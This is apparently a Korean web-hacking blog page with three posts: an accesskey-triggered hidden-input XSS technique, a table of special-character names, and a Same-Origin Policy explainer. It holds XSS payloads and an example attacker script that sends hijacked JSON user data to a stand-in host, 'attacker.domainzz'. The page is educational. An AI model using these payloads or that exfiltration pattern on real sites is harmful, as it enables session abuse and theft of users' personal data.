12/29/2016

[WEB HACKING] HTML AccessKey and Hidden XSS (Trigger AccessKey and Hidden XSS)

on December 29, 2016 in #Web Hacking, Hacking, Web Hacking

예전에 hidden xss 관련해서 포스팅한적이 있습니다. input 내 hidden 속성을 가질 시 일반적으로 xss가 어렵지만, 조건에 따라 동작이 가능한 XSS도 있지요.

이 기법에서 사용되는 accesskey 에 대한 이야기를 할까 합니다.
hidden xss 기법은 아래 링크 참고해주세요.
http://www.hahwul.com/2016/06/web-hacking-hiddenxss-xss-in-hidden.html

HTML AccessKey?

먼저 AccessKey는 HTML내 단축키를 이용하여 각각 객체나 행위를 수행하기 위해 만들어진 속성입니다.
웹페이지 개발 시 잘 사용한다면 아주 편리한 부분들을 만들어낼 수 있습니다.

물론 공격자는 이를 이용해서 Hidden XSS를 성공 시킬 수 있겠지만요.

간단한 코드로 보겠습니다.


<html>
<body>
  <a accesskey="X" onclick="console.log('accesskey -> onclick -> console.log() function');">
</body>
</html>

이렇게 코드를 작성 후 페이지 로드, Alt+Shift+x 를 통해서 트리거 시키면.. 콘솔에 로그가 찍히는 것을 볼 수 있습니다.

accesskey -> onclick -> console.log() function

아주 간단하죠? accesskey 를 통해서 a 태그에 클릭, 포커스한 것과 같은 이벤트를 발생시키기 때문에 onclick 메소드가 실행되고 내부에 있던 console.log() 함수가 실행되어 로그가 찍히게 됩니다.

AccessKey letters for button and anchor elements

Browser	Operating System	Key Combination	Button Behavior	Anchor Behavior
Chrome 7.0.517.41	Linux	Alt + letter	Clicks the button (3)	Clicks the anchor (3)
Chrome 7.0.517.41	Mac OS X	Control + Option + letter	Clicks the button (3)	Clicks the anchor (3)
Chrome 7.0.517.41	Windows	Alt + letter	Clicks the button (3)	Clicks the anchor (3)
Firefox 1.5	Windows	Alt + letter	Clicks the button (1)	Unknown
Firefox 2	Linux	Alt + Shift + letter	Clicks the button (1)	Clicks the anchor
Firefox 2	Mac OS X	Control + letter	Clicks the button (1)	Clicks the anchor
Firefox 2	Windows	Alt + Shift + letter	Clicks the button (1)	Unknown
Firefox 3	Linux	Alt + Shift + letter	Clicks the button (1)	Clicks the anchor
Firefox 3	Mac OS X	Control + letter	Clicks the button (1)	Clicks the anchor
Firefox 3	Windows	Alt + Shift + letter	Clicks the button (1)	Clicks the anchor
Internet Explorer 6	Windows	Alt + letter	Sets focus on the button (2)	Unknown
Internet Explorer 7	Windows	Alt + letter	Sets focus on the button (2)	Sets focus on the anchor (2)
Internet Explorer 8	Windows	Alt + letter	Clicks the button (3)	Sets focus on the anchor (2)
Internet Explorer 9 (beta)	Windows	Alt + letter	Clicks the button (3)	Sets focus on the anchor (2)
Safari 3.1.2	Mac OS X	Control + Option + letter	Clicks the button (3)	Clicks the anchor (3)
Safari 3.1.2	Windows	Alt + letter	Clicks the button (3)	Clicks the anchor (3)
Safari 5.0.2	Mac OS X	Control + Option + letter	Clicks the button (3)	Clicks the anchor (3)
Safari 5.0.2	Windows	Alt + letter	Clicks the button (3)	Clicks the anchor (3)

(https://formattc.wordpress.com/2010/11/03/browsers-and-the-html-accesskey/)

AccessKey와 Hidden XSS

AccessKey를 이용하면 키 트리거를 이용하여 어떠한 액션을 수행할 수 있습니다. 아래와 같은 코드를 작성하고 키를 트리거해 보시면..


<html>
<body>
  <input type=button accesskey="X" onclick="alert(45)">
</body>
</html>

Alt+Shift+x 시 팝업이 나타나게 됩니다. 이는 Firefox 이외에도 Chrome 등 여러 브라우저도 동일하게 동작합니다. 공격자는 이를 통해 Click 이벤트를 직접 발생시키지 않아도 다른 키 트리거를 통해 쉽게 공격코드를 실행시킬 수 있지요.

여기서 Firefox는 아주 재미있는 문제점을 가지고있습니다. AccessKey 속성의 영향력이 hidden type의 input tag에서도 적용된다는점이죠.

이전에 Hidden XSS에서도 약간 설명드린 내용이긴 하지만 조금 더 풀어서 설명드릴까 합니다.


<html>
<body>
  <input type="hidden" accesskey="X" onclick="alert(45)">
</body>
</html>

위 코드로 페이지를 만든 후 Chrome으로 붙어서 똑같이 Alt+Shift+x로 트리거하면 스크립트가 동작하지 않습니다. 이는 accesskey를 통해 트리거 시 위에서 설명드린 내용처럼 해당 Object에 포커스가 잡히기 때문입니다.
hidden type은 투명하게 처리하는 것이 아닌 페이지에서 객체가 사라지기 때문에 트리거될 수 없죠.

그러나 Firefox에서는 이 부분이 버그로 남아있습니다. 그래서 동일한 코드로 트리거 시키면..
의도한 구문이 실행되게 됩니다.

Reference

https://formattc.wordpress.com/2010/11/03/browsers-and-the-html-accesskey/
http://www.hahwul.com/2016/06/web-hacking-hiddenxss-xss-in-hidden.html

Share: | Coffee Me:

[TIP] Name of Special Characters for Hacker, Programmer (특수문자의 이름)

on December 29, 2016 in Coding, Hacking, Tip

보안전문가나 개발자같이 실무적인 IT 업무를 하다보면 특수문자에 대해 설명해야할 때가 많이 있습니다.
저 또한 개발자에게 매번 설명해야하고, 그 과정에서 특수문자에 대한 언급이 많기 때문에 모르는 부분은 일부러 찾아서 정리해두고 했습니다. 생각해보니 이런 내용은 공유되면 좋을 것 같더라구요.

그래서 이번 포스팅에선 특수문자의 이름에 대한 내용으로 짧게 작성하겠습니다.

Name of Special Characters

!@#$%

Special Characters	HTML Characters	Description
!	!	Exclamation mark
@	@	At sign
#	#	Sharp, Hashtag, Number sign
$	$	Dollor
%	%	Percent
^	^	Circumflex accent
&	&	Ampersand ~~(포인터 친구)~~
*	*	Asterisk ~~(주소값의 친구)~~
(	(	Left parenthesis
)	)	Right parenthesis
<	<	Less than sign (인코딩 <의 의미)
>	>	Greater than sign (인코딩 >의 의미)
?	?	Question mark
[	[	Left Square Bracket
]	]	Right Square Bracket
{	{	Left Curly Bracket
}	}	Right Curly Bracket
:	:	Colon
;	;	Semicolon ~~(학생 때 에러의 주범)~~
"	"	Quotation, Double Quot
'	'	Apostrophe, Single Quot
=	=	Equal sign
-	-	Hyphen-minus
_	_	Low line
`	`	Grave accent

Reference

https://en.wikipedia.org/wiki/List_of_Unicode_characters

Share: | Coffee Me:

[WEB HACKING] SOP(Same-Origin Policy)와 Web Security

on December 06, 2016 in #Web Hacking, Web Hacking

오늘은 웹 해킹에 대한 기법이라기 보단.. 웹 해킹 시 발목을 잡는 친구인 Same-origin policy
즉 동일 출처 정책에 대해 정리해볼까 합니다. 음..사실 글은 아주아주 예전에 써놨는데,
바쁘단 핑계로 이제서야 작성하게 되네요..

Same-Origin Policy?

Same-Origin Policy(동일 출처 정책)는 웹 사이트간 정보 교류에 제한을 두는 정책입니다.
당연히! 보안적이 문제로 인해서 제한을 두는거지요.

mozila 개발자 사이트에서는 아래와 같이 정의되어 있습니다.

"The same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin. It is a critical security mechanism for isolating potentially malicious documents."

ajax 요청, iframe 등 원격지에 데이터를 쓰고 읽는 태그, 스크립트는 모두 이 정책에 영향을 받습니다. 그래서 아래와 같이 같은 도메인에서만 기능을 수행할 수 있죠.

Source Script
http://www.hahwul.com

Target Domain
http://www.hahwul.com (o)
http://www.google.com (x)

iframe을 예를들어 더 볼게요. 각각 fid1과 fid2 iframe 은 로컬주소와 원격주소를 frame 데이터로 사용합니다.


<iframe src="http://127.0.0.1/123.html" name=fid1></iframe>
<iframe src="http://192.168.0.8/123.html" name=fid2></iframe>

<script>

fid1 = getElementById("fid1");
fid2 = getElementById("fid2");

fid1.contentDocument.write("<h1>123</h1>")
fid2.contentDocument.write("<h1>123</h1>")

</script>

이러고 http://127.0.0.1에서 접근하면 위 스크립트가 실행됩니다.
document 에 접근하면 두 결과는 약간의 차이를 보입니다.

동일 도메인인 fid1은 123이라는 글자가 잘 반영되고,
다른 도메인인 fid2는 아래와 같은 에러가 발생합니다.

VM617:1 Uncaught DOMException: Failed to read the 'contentDocument' property from 'HTMLIFrameElement': Blocked a frame with origin "http://127.0.0.1" from accessing a cross-origin frame.(…)

이제 어느정도 차이를 아시겠죠?

Why?

간단한 예시로 ajax를 이용한 JSON 요청과 CSRF를 예를들겠습니다

웹 서비스는 XMLHttpReuqest, ajax, jquery 등 Javascript 를 이용해서 웹 서버간 데이터를 보내고 받을 수 있고, 그 내용을 서비스에 쉽게 반영할 수 있습니다.

자 이제 어떤 서비스는 자신에 대한 개인정보를 JSON으로 요청해서 받아와 페이지에 반영한다고 칩시다.
음.. 발생하는 요청은

Request


POST /myinfo.json HTTP/1.1
Host: ~~~~~
Referer: ~~~~

Response


{"name":"test","phone":"1231231231231"}

이런식으로 전화번호를 받아 페이지에 반영합니다.
해당 요청은 별도 토큰으로 검증하는 로직이 없고 Referer 헤더에 대해서도 체크하지 않습니다. 그렇다면
공격자는 CSRF를 이용해 사용자가 자신의 정보를 받아오도록 유도하고, JSON 데이터에 대해 Hijacking 하여
그 정보를 공격자 서버로 전송할 수 있게 합니다.

공격자 코드(예시)


<script>
$.ajax({
        ~~~.json 전송 구간
        success: function (result) {
            switch (result) {
                case true:
                    document.write("<img src='attacker.domainzz/?"+result+"' style='display:none'>");
                    break;
                default:
                    resultDiv.html(result);
            }
        },
        error: function (xhr, ajaxOptions, thrownError) {
        }
    });
</script>

뭐 이런식으로 구성되겠죠. result 에 대해 공격자 서버로 바로 전달되게..

물론 이런 방식은 Same-Origin 이외에도 여러 보안장치들이 없을 때 가능합니다.
(대부분 없..)

이런 행위를 방지하기 위해서 Same-Origin 정책이 생겨납니다.
CSRF 코드가 삽입되는 부분이 동일한 도메인이 아니면 공격에 실패하게 되죠.

Reference

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

Share: | Coffee Me:

12/29/2016

HTML AccessKey?

AccessKey letters for button and anchor elements

AccessKey와 Hidden XSS

Reference

Name of Special Characters

Reference

12/06/2016

Same-Origin Policy?

"The same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin. It is a critical security mechanism for isolating potentially malicious documents."

Why?

Reference